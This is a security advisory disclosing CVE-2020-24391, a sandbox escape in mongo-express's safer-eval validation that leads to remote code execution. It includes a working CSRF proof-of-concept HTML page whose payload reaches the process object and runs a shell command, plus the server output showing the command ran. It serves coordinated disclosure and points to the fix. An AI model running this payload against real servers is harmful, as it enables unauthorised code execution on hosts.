Coordinated Disclosure Timeline
- 24/06/2020: Vendor contacted
- 24/06/2020: Vendor notified that the issue was fixed on a pre-release branch.
Summary
Mongo-express uses safer-eval to validate user supplied javascript
. Unfortunately safer-eval
sandboxing capabilities are easily bypassed leading to RCE
in the context of the node
server.
Product
mongo-express
Tested Version
v0.54.0
Details
Issue 1: RCE by abusing safer-eval
Mongo-express uses safer-eval to validate user supplied javascript
. Unfortunately safer-eval
sandboxing capabilities are easily bypassed leading to RCE
in the context of the node
server.
Impact
This issue may lead to RCE
.
Resources
In order to verify the vulnerability, we have provided a proof of concept that when visited by an authenticated user, it will issue a POST
request automatically without the user noticing. The executed endpoint is /checkValid
which reads javascript
code from the form submission and executes it. With a specially crafted payload, we were able to get a reference to the process
object and thus were able to execute arbitrary commands on the system.
Even though this vulnerability is exploited by taking advantage of the lack of CSRF protection, this is not the only attack vector possible. An attacker with valid user credentials can use this vulnerability to escalate privileges and execute code in the host.
Place the following contents in a file named index.html
.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>mongo-express</title>
</head>
<body>
<form id="myform" action="http://localhost:8081/checkValid" method="POST">
<input type="text" name="document" value="" />
<input type="submit" value="Submit" />
</form>
<script>
const form = document.getElementById("myform");
// Set the payload.
form[0].value = `
(() => {
const process = clearImmediate.constructor("return process;")();
const result = process.mainModule.require("child_process").execSync("id");
console.log("Result: " + result);
return true;
})()
`;
form.submit();
</script>
</body>
</html>
Start a webserver on the same directory where the previous file was created:
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [22/Jun/2020 15:39:30] "GET / HTTP/1.1" 200 -
Browse to http://localhost/
it is important that there is a currently logged-in user in the target mongo-express
server and that the session has been initiated in the same browser.
By inspecting the mongo-express
console, it can be seen that the request has been made successfully and we have successfully executed the id
command.
[0] Mongo Express server listening at http://localhost:8081
[0] basicAuth credentials are "admin:pass", it is recommended you change this in your config.js!
[0] Database connected
[0] Connected to local...
[0] Result: uid=501(anon) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
[0]
[0] POST /checkValid 200 38.168 ms - 5
CVE
- CVE-2020-24391
Resources
- Fixed by https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
Credit
This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include GHSL-2020-131
in any communication regarding this issue.